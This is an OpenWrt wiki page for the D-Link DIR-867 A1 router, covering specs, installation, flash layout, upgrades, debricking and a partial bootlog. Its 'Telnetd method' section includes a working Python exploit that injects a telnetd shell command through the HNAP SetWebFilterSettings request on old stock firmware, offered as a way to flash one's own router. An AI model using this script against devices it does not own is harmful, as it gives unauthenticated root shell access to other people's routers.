Show pagesourceOld revisionsBacklinksBack to top × Table of Contents D-Link DIR-867 A1 Supported Versions Experimental Versions Hardware Highlights Installation Installation from OEM - Telnetd method Installation from OEM - DLink Recovery GUI Flash Layout OEM installation using the TFTP method Upgrading OpenWrt LuCI Web Upgrade Process Terminal Upgrade Process Debricking Failsafe mode Basic configuration Specific Configuration Network interfaces Switch Ports (for VLANs) Buttons Hardware Info Photos Opening the case Serial Bootloader mods Hardware mods Bootlogs OEM bootlog OpenWrt bootlog Notes Known Issues Tags D-Link DIR-867 A1 The D-Link DIR-867 is a Wi-Fi 5 Wave 2 router based on MediaTek MT7621A with 16 MB flash and 128 MB RAM. It has 5 Gigabit Ethernet ports and dual MediaTek MT7615N radios, although limited to 3×3 streams on each band. Supported Versions BrandModelVersionCurrent ReleaseOEM InfoForum SearchTechnical DataD-LinkDIR-867A123.05.0https://www.dlink.com/en/products/dir-867-ac1750-mu-mimo-wi-fi-gigabit-routerDIR-867View/Edit dataUnsupported Functions Experimental Versions None at this time. Hardware Highlights ModelVersionSoCCPU MHzFlash MBRAM MBWLAN HardwareWLAN2.4WLAN5.0100M ports1Gbit portsModemUSBDIR-867A1MediaTek MT7621AT88016128MediaTek MT7615Nb/g/na/n/ac-5-- Installation ModelVersionCurrent ReleaseFirmware OpenWrt InstallFirmware OpenWrt UpgradeFirmware OEM StockDIR-867A123.05.0https://downloads.openwrt.org/releases/23.05.0/targets/ramips/mt7621/openwrt-23.05.0-ramips-mt7621-dlink_dir-867-a1-squashfs-factory.binhttps://downloads.openwrt.org/releases/23.05.0/targets/ramips/mt7621/openwrt-23.05.0-ramips-mt7621-dlink_dir-867-a1-squashfs-sysupgrade.binhttps://support.dlink.com/ProductInfo.aspx?m=DIR-867-US → Install OpenWrt (generic explanation) OpenWrt can't be installed through the stock firmware on this router, as it only accepts properly signed and encrypted files in D-Link SHRS format. Use the D-Link Recovery GUI instead to upload the OpenWrt factory image for this router. Installation from OEM - Telnetd method Source: https://forum.openwrt.org/t/d-link-recovery-mode-dir-882-dir-878-dir-867/78758 (big kudo for tmgoblin) Overview: Ensure you have an enough old firmware to enable remotely telnet. Version 1.10 was vulnerable. Run the following python script to remotely enalbe telnet Telnet into the router, download the firmware and install it Reboot, your device should now serve luci on: http://192.168.1.1/cgi-bin/luci/ Ensure you have an enough old dlink fimware. The remote telnetd security issue was still active on v1.10. Otherwise, you can find older firmware versions here: https://support.dlink.com/ProductInfo.aspx?m=DIR-867-US. Once you have a vulnerable firmware, you can run the python script against the original dlink firmware: import requests import sys import os telnet_payload = r"1.com/&$(telnetd$IFS$9-l$IFS$9/bin/sh$IFS$9-b$IFS$9'0.0.0.0')&" burp0_cookies = {"uid": "CataLpa"} burp0_headers = {"Accept": "text/xml", \ "SOAPACTION": "\"http://purenetworks.com/HNAP1/SetWebFilterSettings\"", \ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.135 Safari/537.36", \ "Content-Type": "text/xml", \ "Accept-Encoding": "gzip, deflate", \ "Accept-Language": "zh-CN,zh;q=0.9", \ "Connection": "close"} burp0_data = "<?xml version=\"1.0\" encoding=\"utf-8\"?><soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n<soap:Body>\n<SetWebFilterSettings>\n\t<WebFilterMethod>DENY</WebFilterMethod>\n\t<NumberOfEntry>1</NumberOfEntry>\n\t<WebFilterURLs>\n\t\t<string>" + telnet_payload + "</string>\n\t</WebFilterURLs>\n</SetWebFilterSettings>\n</soap:Body>\n</soap:Envelope>" if __name__ == "__main__": if len(sys.argv) != 2: print("[*] Usage: python DIR-878.py <ip>") exit(0) IP = sys.argv[1] print("[*] Send payload to " + IP) burp0_url = "http://" + IP + ":80/HNAP1/?Login.html" try: res = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data) if "200" in str(res.status_code): print("[*] Exploit success!") print("[!] telnet " + IP) exit(0) print("[*] Exploit failed. Bug fixed :(") exit(0) except Exception as e: print("[-] Exploit failed.") print(e) Copy this script on your computer, and run it against router IP: python enable_telnetd.py 192.168.0.1 From there, telnet should be enable. The idea is to login, download OpenWRT squashfs-factory, check md5sum and finally install OpenWRT: telnet 192.168.0.1 cd /tmp curl -k https://downloads.openwrt.org/releases/23.05.0/targets/ramips/mt7621/openwrt-23.05.0-ramips-mt7621-dlink_dir -867-a1-squashfs-factory.bin -o /tmp/openwrt.bin md5sum /tmp/openwrt.bin mtd_write -r -w write /tmp/openwrt.bin Kernel This should take a while, then the router should reboot with OpenWRT installed. Installation from OEM - DLink Recovery GUI As of 2023/11, I was not able to boot into the recovery mode: d-link_recovery_gui. Please update this section if you have any chances. Flash Layout Please read this article for a better understanding, as it contains a couple of explanations. The sections below describes the flash layout of this router when running the stock firmware and when running OpenWrt. Stock Firmware Layer0 raw flash, 16384 KiB Layer1 mtd0 ALL 16384 KiB Layer2 mtd1 Bootloader 192 KiB mtd2 Config 64 KiB mtd3 Factory 64 KiB mtd4 Config2 64 KiB mtd5 Kernel 15680 KiB mtd6 Private 320 KiB Config partition stores the environment variables from U-Boot. Factory partition stores the MAC addresses and calibration data of the MT7615N wireless modules. Config2 partition stores the default country code, default Wi-Fi password and unique D-Link FOTA identifiers. Private partition stores the router settings. A factory reset erases all content from this partition. Warning: Factory and Config2 partitions contains unique data, specific to each unit. If they get erased or corrupted, stock firmware will lose the ability to automatically apply firmware updates, will get stuck on a bootloop if a factory reset is performed and Wi-Fi won't work anymore. D-Link Recovery GUI cannot fix this. OpenWrt Layer0 raw flash, 16384 KiB Layer1 mtd0 u-boot 192 KiB mtd1 u-boot-env 64 KiB mtd2 factory 128 KiB mtd3 firmware 16000 KiB Layer2 mtd4 kernel 2322 KiB mtd5 rootfs 13678 KiB Layer3 /rom 3758 KiB mtd6 rootfs_data 9920 KiB Different from stock firmware, OpenWrt doesn't make distinction between the Factory and Config2 partitions, instead it maps both of them to a single read-only partition, factory, at the same address range. Regardless, it still holds the same unique data specific to each unit, and all sorts of issues can happen if this partition gets corrupted or erased. OEM installation using the TFTP method → generic.flashing.tftp Although this router supports flashing the firmware and even the bootloader through TFTP, these flashing modes can only be selected by interacting with the U-Boot terminal at boot time, through the serial port. The section below lists the default values, although the router will always ask for the desired parameters when selecting any of the TFTP flash options on the U-Boot console. Specific values needed for TFTP Bootloader TFTP server IPv4 address 192.168.0.1 Firmware TFTP image Latest OpenWrt release (NOTE: use the factory images) TFTP transfer window indefinite TFTP window start N/A TFTP client required IP address 192.168.0.101 Upgrading OpenWrt → generic.sysupgrade LuCI Web Upgrade Process Browse to http://192.168.1.1/cgi-bin/luci/admin/system/flash (LuCI Upgrade URL); Upload image file for sysupgrade to LuCI; Confirm whether existing settings should be kept; Wait for reboot. Terminal Upgrade Process If you don't have a GUI (LuCI) available, you can alternatively upgrade via the command line. There are two command line methods for upgrading: sysupgrade mtd Note: It is important that you put the firmware image into the ramdisk (/tmp) before you start flashing. sysupgrade Login as root via SSH on 192.168.1.1, then enter the following commands: cd /tmp wget http://downloads.openwrt.org/snapshots/targets/ramips/mt7621/openwrt-ramips-mt7621-dlink_dir-8xx-a1-squashfs-sysupgrade.bin sysupgrade /tmp/openwrt-ramips-mt7621-dlink_dir-8xx-a1-squashfs-sysupgrade.bin Note: Replace the 8xx in the link and filename with the model number of your router, e.g. 867. mtd Alternatively, you can use mtd. Keep in mind that mtd won't save any existing settings. Login as root via SSH on 192.168.1.1, then enter the following commands: cd /tmp wget http://downloads.openwrt.org/snapshots/targets/ramips/mt7621/openwrt-ramips-mt7621-dlink_dir-8xx-a1-squashfs-factory.bin mtd -r write /tmp/openwrt-ramips-mt7621-dlink_dir-8xx-a1-squashfs-factory.bin firmware Note: Replace the 8xx in the link and filename with the model number of your router, e.g. 867. Debricking → generic.debrick In case of a brick, a new firmware can still be uploaded through D-Link Recovery GUI. Keep in mind the recovery GUI only accepts unencrypted firmware images. A tool to decrypt factory images is available here. Alternatively, a new firmware can be flashed through the serial port or through TFTP, but you'll need to interact with the U-Boot console at power up to select any of these modes. Be careful when playing around with the bootloader, as in case of a bootloader brick neither the emergency recovery mode nor the serial and TFTP flash options will be accessible. Since this router doesn't have a JTAG port, only reprogramming the flash chip through an external programmer can solve this kind of brick. The stock firmware files provided by D-Link doesn't contain the bootloader, so obtaining a copy of it can be tricky. To help with that, an unmodified copy of the stock bootloader, dumped directly from the flash chip of a working unit, can be downloaded here. Failsafe mode → failsafe_and_factory_reset Basic configuration → Basic configuration Specific Configuration Network interfaces The default network configuration is: Interface Name Description Default configuration br-lan LAN ports & both Wi-Fi radios 192.168.1.1/24 wan WAN port DHCP wlan0 Wi-Fi 2.4 GHz Disabled wlan1 Wi-Fi 5 GHz Disabled Switch Ports (for VLANs) Numbers 0-3 are Ports 1-4 as labeled on the unit, number 4 is the Internet (WAN) on the unit. Don't be fooled: Port 1 on the unit is number 3 when configuring VLANs. vlan0 = eth0.0, vlan1 = eth0.1 and so on. Port Switch port Internet (WAN) 4 LAN 1 3 LAN 2 2 LAN 3 1 LAN 4 0 Buttons → hardware.button on howto use and configure the hardware button(s). Here, we merely name the buttons, so we can use them in the above Howto. This router has the following buttons: BUTTON Event Reset reset Wi-Fi rfkill WPS wps Hardware Info General Brand D-Link Model DIR-867 Versions A1 Device Type WiFi Router Availability Discontinued 2019 Comments - general OpenWrt Support Supported Since Commit https://git.openwrt.org/?p=openwrt/openwrt.git;a=commit;h=73e8f23579bcb87764dae9ed0aefe28be3183d3e Supported Since Release 21.02.0 Supported Current Release 23.05.0 Unsupported Hardware Bootloader U-Boot Target ramips System-On-Chip MediaTek MT7621AT CPU MHz 880 Flash MB 16 RAM MB 128 Network Ethernet 100M ports - Ethernet 1Gbit ports 5 Switch - Modem - VLAN Yes Comments - network ports Wireless WLAN 2.4GHz b/g/n WLAN 5.0GHz a/n/ac WLAN Hardware MediaTek MT7615N Detachable Antennas - Comments - WLAN Interfaces USB ports - SATA ports - Serial Yes JTAG No Comments - USB & SATA ports Misc LED count 6 Button count 3 Power supply 12 VDC, 1.5 A Links Forum Topic URL WikiDevi URL https://wikidevi.wi-cat.ru/D-Link_DIR-867_rev_A1 OEM device homepage URL https://www.dlink.com/en/products/dir-867-ac1750-mu-mimo-wi-fi-gigabit-router Firmware OEM Stock URL https://support.dlink.com/ProductInfo.aspx?m=DIR-867-US Firmware OpenWrt Install URL https://downloads.openwrt.org/releases/23.05.0/targets/ramips/mt7621/openwrt-23.05.0-ramips-mt7621-dlink_dir-867-a1-squashfs-factory.bin Firmware OpenWrt Upgrade URL https://downloads.openwrt.org/releases/23.05.0/targets/ramips/mt7621/openwrt-23.05.0-ramips-mt7621-dlink_dir-867-a1-squashfs-sysupgrade.bin Edit the underlying data View/Edit data Photos Front: Back: Backside label: Insert photo of backside label Opening the case Note: This will void your warranty! Remove the 4 rubber feets and the 4 screws underneath them, then carefully unclip the plastic tabs around the top cover. All of the tabs are on the top cover. Main PCB: Insert photo of PCB Serial → port.serial general information about the serial port, serial port cable, etc. Serial port is located on the J1 header, next to the Wi-Fi, Reset and WPS buttons. It comes from factory without a pin header, you must solder one before you can use it. The board uses 3V3 logic level, double check the specifications of the USB-TTL dongle you have before connecting. Don’t forget that the TX pin of the router should be connected to the RX pin of the serial port and the RX to TX. Serial connection parameters 57600, 8N1 Bootloader mods → bootloader None so far. Hardware mods None so far. Bootlogs OEM bootlog COPY HERE THE BOOTLOG WITH THE ORIGINAL FIRMWARE OpenWrt bootlog =================================================================== MT7621 stage1 code 10:33:55 (ASIC) CPU=500000000 HZ BUS=166666666 HZ ================================================================== Change MPLL source from XTAL to CR... do MEMPLL setting.. MEMPLL Config : 0x11100000 3PLL mode + External loopback === XTAL-40Mhz === DDR-1200Mhz === PLL2 FB_DL: 0x15, 1/0 = 582/442 55000000 PLL3 FB_DL: 0x16, 1/0 = 581/443 59000000 PLL4 FB_DL: 0x16, 1/0 = 678/346 59000000 do DDR setting..[01F40000] Apply DDR3 Setting...(use customer AC) 0 8 16 24 32 40 48 56 64 72 80 88 96 104 112 120 -------------------------------------------------------------------------------- 0000:| 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0001:| 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0002:| 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0003:| 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0004:| 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0005:| 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0006:| 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0007:| 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0008:| 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0009:| 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 000A:| 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 000B:| 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 000C:| 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 000D:| 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 1 000E:| 0 0 0 0 0 0 0 1 1 1 1 1 1 1 1 1 000F:| 0 0 0 1 1 1 1 1 1 1 1 1 0 0 0 0 0010:| 1 1 1 1 1 1 1 0 0 0 0 0 0 0 0 0 0011:| 1 1 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0012:| 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0013:| 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0014:| 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0015:| 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0016:| 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0017:| 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0018:| 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0019:| 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 001A:| 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 001B:| 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 001C:| 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 001D:| 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 001E:| 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 001F:| 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 rank 0 coarse = 15 rank 0 fine = 56 B:| 0 0 0 0 0 0 0 0 1 1 1 0 0 0 0 0 opt_dle value:9 DRAMC_R0DELDLY[018]=00001D1D ================================================================== RX DQS perbit delay software calibration ================================================================== 1.0-15 bit dq delay value ================================================================== bit| 0 1 2 3 4 5 6 7 8 9 -------------------------------------- 0 | 8 6 7 9 6 7 8 6 6 7 10 | 9 9 8 9 8 9 -------------------------------------- ================================================================== 2.dqs window x=pass dqs delay value (min~max)center y=0-7bit DQ of every group input delay:DQS0 =29 DQS1 = 29 ================================================================== bit DQS0 bit DQS1 0 (1~54)27 8 (1~53)27 1 (1~55)28 9 (1~52)26 2 (1~56)28 10 (2~56)29 3 (1~58)29 11 (1~55)28 4 (1~57)29 12 (1~56)28 5 (1~56)28 13 (2~55)28 6 (1~57)29 14 (1~56)28 7 (1~58)29 15 (1~55)28 ================================================================== 3.dq delay value last ================================================================== bit| 0 1 2 3 4 5 6 7 8 9 -------------------------------------- 0 | 10 7 8 9 6 8 8 6 8 10 10 | 9 10 9 10 9 10 ================================================================== ================================================================== TX perbyte calibration ================================================================== DQS loop = 15, cmp_err_1 = ffff0000 dqs_perbyte_dly.last_dqsdly_pass[0]=15, finish count=1 dqs_perbyte_dly.last_dqsdly_pass[1]=15, finish count=2 DQ loop=15, cmp_err_1 = ffff0100 dqs_perbyte_dly.last_dqdly_pass[0]=15, finish count=1 DQ loop=14, cmp_err_1 = ffff0000 dqs_perbyte_dly.last_dqdly_pass[1]=14, finish count=2 byte:0, (DQS,DQ)=(8,8) byte:1, (DQS,DQ)=(8,8) 20,data:88 [EMI] DRAMC calibration passed =================================================================== MT7621 stage1 code done CPU=500000000 HZ BUS=166666666 HZ =================================================================== U-Boot 1.1.3 (Aug 16 2017 - 22:14:12) Board: Ralink APSoC DRAM: 128 MB relocate_code Pointer at: 87fb4000 Config XHCI 40M PLL flash manufacture id: ef, device id 40 18 find flash: W25Q128BV ============================================ Ralink UBoot Version: 5.0.0.0 -------------------------------------------- ASIC MT7621A DualCore (MAC to MT7530 Mode) DRAM_CONF_FROM: Auto-Detection DRAM_TYPE: DDR3 DRAM bus: 16 bit Xtal Mode=3 OCP Ratio=1/3 Flash component: SPI Flash Date:Aug 16 2017 Time:22:14:12 ============================================ icache: sets:256, ways:4, linesz:32 ,total:32768 dcache: sets:256, ways:4, linesz:32 ,total:32768 ##### The CPU freq = 880 MHZ #### estimate memory size =128 Mbytes #Reset_MT7530 set LAN/WAN LLLLW Please choose the operation: 1: Load system code to SDRAM via TFTP. 2: Load system code then write to Flash via TFTP. 3: Boot system code via Flash (default). 4: Entr boot command line interface. 6: System Enter UBoot to Update Img or Bin. 7: Load Boot Loader code then write to Flash via Serial. 9: Load Boot Loader code then write to Flash via TFTP. default: 3 0 3: System Boot system code via Flash. ## Booting image at bc060000 ... Image Name: MIPS OpenWrt Linux-5.4.51 Image Type: MIPS Linux Kernel Image (lzma compressed) Data Size: 2448830 Bytes = 2.3 MB Load Address: 80001000 Entry Point: 80001000 Verifying Checksum ... OK Uncompressing Kernel Image ... OK No initrd ## Transferring control to Linux (at address 80001000) ... ## Giving linux memsize in MB, 128 Starting kernel ... [ 0.000000] Linux version 5.4.51 (mbc07@Mateus-Laptop) (gcc version 8.4.0 (OpenWrt GCC 8.4.0 r13858-57ebfa5623)) #0 SMP Wed Jul 15 02:01:31 2020 [ 0.000000] SoC Type: MediaTek MT7621 ver:1 eco:3 [ 0.000000] printk: bootconsole [early0] enabled [ 0.000000] CPU0 revision is: 0001992f (MIPS 1004Kc) [ 0.000000] MIPS: machine is D-Link DIR-867 A1 [ 0.000000] Initrd not found or empty - disabling initrd [ 0.000000] VPE topology {2,2} total 4 [ 0.000000] Primary instruction cache 32kB, VIPT, 4-way, linesize 32 bytes. [ 0.000000] Primary data cache 32kB, 4-way, PIPT, no aliases, linesize 32 bytes [ 0.000000] MIPS secondary cache 256kB, 8-way, linesize 32 bytes. [ 0.000000] Zone ranges: [ 0.000000] Normal [mem 0x0000000000000000-0x0000000007ffffff] [ 0.000000] HighMem empty [ 0.000000] Movable zone start for each node [ 0.000000] Early memory node ranges [ 0.000000] node 0: [mem 0x0000000000000000-0x0000000007ffffff] [ 0.000000] Initmem setup node 0 [mem 0x0000000000000000-0x0000000007ffffff] [ 0.000000] percpu: Embedded 14 pages/cpu s26704 r8192 d22448 u57344 [ 0.000000] Built 1 zonelists, mobility grouping on. Total pages: 32480 [ 0.000000] Kernel command line: console=ttyS0,57600 rootfstype=squashfs,jffs2 [ 0.000000] Dentry cache hash table entries: 16384 (order: 4, 65536 bytes, linear) [ 0.000000] Inode-cache hash table entries: 8192 (order: 3, 32768 bytes, linear) [ 0.000000] Writing ErrCtl register=0000bcc1 [ 0.000000] Readback ErrCtl register=0000bcc1 [ 0.000000] mem auto-init: stack:off, heap alloc:off, heap free:off [ 0.000000] Memory: 120712K/131072K available (5853K kernel code, 207K rwdata, 1264K rodata, 1240K init, 237K bss, 10360K reserved, 0K cma-reserved, 0K highmem) [ 0.000000] SLUB: HWalign=32, Order=0-3, MinObjects=0, CPUs=4, Nodes=1 [ 0.000000] rcu: Hierarchical RCU implementation. [ 0.000000] rcu: RCU calculated value of scheduler-enlistment delay is 25 jiffies. [ 0.000000] NR_IRQS: 256 [ 0.000000] random: get_random_bytes called from start_kernel+0x340/0x558 with crng_init=0 [ 0.000000] CPU Clock: 880MHz [ 0.000000] clocksource: GIC: mask: 0xffffffffffffffff max_cycles: 0xcaf478abb4, max_idle_ns: 440795247997 ns [ 0.000000] clocksource: MIPS: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 4343773742 ns [ 0.000009] sched_clock: 32 bits at 440MHz, resolution 2ns, wraps every 4880645118ns [ 0.015483] Calibrating delay loop... 583.68 BogoMIPS (lpj=1167360) [ 0.055831] pid_max: default: 32768 minimum: 301 [ 0.065177] Mount-cache hash table entries: 1024 (order: 0, 4096 bytes, linear) [ 0.079582] Mountpoint-cache hash table entries: 1024 (order: 0, 4096 bytes, linear) [ 0.097662] rcu: Hierarchical SRCU implementation. [ 0.107757] smp: Bringing up secondary CPUs ... [ 0.118296] Primary instruction cache 32kB, VIPT, 4-way, linesize 32 bytes. [ 0.118306] Primary data cache 32kB, 4-way, PIPT, no aliases, linesize 32 bytes [ 0.118318] MIPS secondary cache 256kB, 8-way, linesize 32 bytes. [ 0.118418] CPU1 revision is: 0001992f (MIPS 1004Kc) [ 0.144931] Synchronize counters for CPU 1: done. [ 0.215632] Primary instruction cache 32kB, VIPT, 4-way, linesize 32 bytes. [ 0.215640] Primary data cache 32kB, 4-way, PIPT, no aliases, linesize 32 bytes [ 0.215648] MIPS secondary cache 256kB, 8-way, linesize 32 bytes. [ 0.215703] CPU2 revision is: 0001992f (MIPS 1004Kc) [ 0.243461] Synchronize counters for CPU 2: done. [ 0.304556] Primary instruction cache 32kB, VIPT, 4-way, linesize 32 bytes. [ 0.304564] Primary data cache 32kB, 4-way, PIPT, no aliases, linesize 32 bytes [ 0.304572] MIPS secondary cache 256kB, 8-way, linesize 32 bytes. [ 0.304630] CPU3 revision is: 0001992f (MIPS 1004Kc) [ 0.331060] Synchronize counters for CPU 3: done. [ 0.390665] smp: Brought up 1 node, 4 CPUs [ 0.402951] clocksource: jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 7645041785100000 ns [ 0.422262] futex hash table entries: 1024 (order: 3, 32768 bytes, linear) [ 0.436188] pinctrl core: initialized pinctrl subsystem [ 0.448134] NET: Registered protocol family 16 [ 0.485975] clocksource: Switched to clocksource GIC [ 0.497443] NET: Registered protocol family 2 [ 0.506985] tcp_listen_portaddr_hash hash table entries: 512 (order: 0, 6144 bytes, linear) [ 0.523656] TCP established hash table entries: 1024 (order: 0, 4096 bytes, linear) [ 0.538778] TCP bind hash table entries: 1024 (order: 1, 8192 bytes, linear) [ 0.552768] TCP: Hash tables configured (established 1024 bind 1024) [ 0.565518] UDP hash table entries: 256 (order: 1, 8192 bytes, linear) [ 0.578412] UDP-Lite hash table entries: 256 (order: 1, 8192 bytes, linear) [ 0.592464] NET: Registered protocol family 1 [ 0.601036] PCI: CLS 0 bytes, default 32 [ 0.697949] 4 CPUs re-calibrate udelay(lpj = 1163264) [ 0.709362] workingset: timestamp_bits=14 max_order=15 bucket_order=1 [ 0.728333] random: fast init done [ 0.738540] squashfs: version 4.0 (2009/01/31) Phillip Lougher [ 0.750040] jffs2: version 2.2 (NAND) (SUMMARY) (LZMA) (RTIME) (CMODE_PRIORITY) (c) 2001-2006 Red Hat, Inc. [ 0.771128] Block layer SCSI generic (bsg) driver version 0.4 loaded (major 251) [ 0.787300] mt7621_gpio 1e000600.gpio: registering 32 gpios [ 0.798588] mt7621_gpio 1e000600.gpio: registering 32 gpios [ 0.809824] mt7621_gpio 1e000600.gpio: registering 32 gpios [ 0.821491] Serial: 8250/16550 driver, 16 ports, IRQ sharing enabled [ 0.837082] printk: console [ttyS0] disabled [ 0.845551] 1e000c00.uartlite: ttyS0 at MMIO 0x1e000c00 (irq = 19, base_baud = 3125000) is a 16550A [ 0.863472] printk: console [ttyS0] enabled [ 0.863472] printk: console [ttyS0] enabled [ 0.880021] printk: bootconsole [early0] disabled [ 0.880021] printk: bootconsole [early0] disabled [ 0.901336] spi-mt7621 1e000b00.spi: sys_freq: 220000000 [ 0.921980] spi-nor spi0.0: w25q128 (16384 Kbytes) [ 0.931589] 4 fixed-partitions partitions found on MTD device spi0.0 [ 0.944245] Creating 4 MTD partitions on "spi0.0": [ 0.953797] 0x000000000000-0x000000030000 : "u-boot" [ 0.964942] 0x000000030000-0x000000040000 : "u-boot-env" [ 0.976772] 0x000000040000-0x000000060000 : "factory" [ 0.988065] 0x000000060000-0x000001000000 : "firmware" [ 0.999656] 2 sge-fw partitions found on MTD device firmware [ 1.010965] Creating 2 MTD partitions on "firmware": [ 1.020864] 0x000000000000-0x000000255e5e : "kernel" [ 1.031939] 0x000000255e5e-0x000000fa0000 : "rootfs" [ 1.043045] mtd: device 5 (rootfs) set to be root filesystem [ 1.054454] 1 squashfs-split partitions found on MTD device rootfs [ 1.066810] 0x0000004f0000-0x000000fa0000 : "rootfs_data" [ 1.079815] libphy: Fixed MDIO Bus: probed [ 1.112329] libphy: mdio: probed [ 1.118981] mt7530 mdio-bus:1f: MT7530 adapts as multi-chip module [ 1.132294] mtk_soc_eth 1e100000.ethernet eth0: mediatek frame engine at 0xbe100000, irq 21 [ 1.150976] mt7621-pci 1e140000.pcie: Parsing DT failed [ 1.163825] NET: Registered protocol family 10 [ 1.174429] Segment Routing with IPv6 [ 1.181858] NET: Registered protocol family 17 [ 1.190790] bridge: filtering via arp/ip/ip6tables is no longer available by default. Update your scripts to load br_netfilter if you need this. [ 1.216834] 8021q: 802.1Q VLAN Support v1.8 [ 1.227068] mt7530 mdio-bus:1f: MT7530 adapts as multi-chip module [ 1.249817] libphy: dsa slave smi: probed [ 1.258264] mt7530 mdio-bus:1f lan4 (uninitialized): PHY [dsa-0.0:00] driver [Generic PHY] [ 1.276176] mt7530 mdio-bus:1f lan3 (uninitialized): PHY [dsa-0.0:01] driver [Generic PHY] [ 1.294173] mt7530 mdio-bus:1f lan2 (uninitialized): PHY [dsa-0.0:02] driver [Generic PHY] [ 1.312051] mt7530 mdio-bus:1f lan1 (uninitialized): PHY [dsa-0.0:03] driver [Generic PHY] [ 1.330154] mt7530 mdio-bus:1f wan (uninitialized): PHY [dsa-0.0:04] driver [Generic PHY] [ 1.347950] mt7530 mdio-bus:1f: configuring for fixed/rgmii link mode [ 1.365488] DSA: tree 0 setup [ 1.371765] rt2880-pinmux pinctrl: pcie is already enabled [ 1.382720] mt7621-pci 1e140000.pcie: Error applying setting, reverse things back [ 1.397767] mt7621-pci-phy 1e149000.pcie-phy: PHY for 0xbe149000 (dual port = 1) [ 1.412703] mt7621-pci-phy 1e14a000.pcie-phy: PHY for 0xbe14a000 (dual port = 0) [ 1.527222] mt7621-pci-phy 1e149000.pcie-phy: Xtal is 40MHz [ 1.538343] mt7621-pci-phy 1e14a000.pcie-phy: Xtal is 40MHz [ 1.649139] mt7621-pci 1e140000.pcie: pcie2 no card, disable it (RST & CLK) [ 1.663017] mt7621-pci 1e140000.pcie: PCIE0 enabled [ 1.672732] mt7621-pci 1e140000.pcie: PCIE1 enabled [ 1.682466] mt7621-pci 1e140000.pcie: PCI coherence region base: 0x60000000, mask/settings: 0xf0000002 [ 1.701177] mt7621-pci 1e140000.pcie: PCI host bridge to bus 0000:00 [ 1.713861] pci_bus 0000:00: root bus resource [io 0x1e160000-0x1e16ffff] [ 1.727568] pci_bus 0000:00: root bus resource [mem 0x60000000-0x6fffffff] [ 1.741269] pci_bus 0000:00: root bus resource [bus 00-ff] [ 1.752240] pci 0000:00:00.0: [0e8d:0801] type 01 class 0x060400 [ 1.764241] pci 0000:00:00.0: reg 0x10: [mem 0x00000000-0x7fffffff] [ 1.776734] pci 0000:00:00.0: reg 0x14: [mem 0x00000000-0x0000ffff] [ 1.789292] pci 0000:00:00.0: supports D1 [ 1.797283] pci 0000:00:00.0: PME# supported from D0 D1 D3hot [ 1.809136] pci 0000:00:01.0: [0e8d:0801] type 01 class 0x060400 [ 1.821153] pci 0000:00:01.0: reg 0x10: [mem 0x00000000-0x7fffffff] [ 1.833648] pci 0000:00:01.0: reg 0x14: [mem 0x00000000-0x0000ffff] [ 1.846196] pci 0000:00:01.0: supports D1 [ 1.854185] pci 0000:00:01.0: PME# supported from D0 D1 D3hot [ 1.866932] pci 0000:00:00.0: bridge configuration invalid ([bus 00-00]), reconfiguring [ 1.882898] pci 0000:00:01.0: bridge configuration invalid ([bus 00-00]), reconfiguring [ 1.899059] pci 0000:01:00.0: [14c3:7615] type 00 class 0x000280 [ 1.911091] pci 0000:01:00.0: reg 0x10: [mem 0x00000000-0x000fffff 64bit] [ 1.924781] pci 0000:01:00.0: 2.000 Gb/s available PCIe bandwidth, limited by 2.5 GT/s x1 link at 0000:00:00.0 (capable of 4.000 Gb/s with 5 GT/s x1 link) [ 1.953619] pci 0000:00:00.0: PCI bridge to [bus 01-ff] [ 1.964056] pci 0000:00:00.0: bridge window [io 0x0000-0x0fff] [ 1.976200] pci 0000:00:00.0: bridge window [mem 0x00000000-0x000fffff] [ 1.989728] pci 0000:00:00.0: bridge window [mem 0x00000000-0x000fffff pref] [ 2.004126] pci_bus 0000:01: busn_res: [bus 01-ff] end is updated to 01 [ 2.017516] pci 0000:02:00.0: [14c3:7615] type 00 class 0x000280 [ 2.029549] pci 0000:02:00.0: reg 0x10: [mem 0x00000000-0x000fffff 64bit] [ 2.043240] pci 0000:02:00.0: 2.000 Gb/s available PCIe bandwidth, limited by 2.5 GT/s x1 link at 0000:00:01.0 (capable of 4.000 Gb/s with 5 GT/s x1 link) [ 2.072080] pci 0000:00:01.0: PCI bridge to [bus 02-ff] [ 2.082524] pci 0000:00:01.0: bridge window [io 0x0000-0x0fff] [ 2.094668] pci 0000:00:01.0: bridge window [mem 0x00000000-0x000fffff] [ 2.108195] 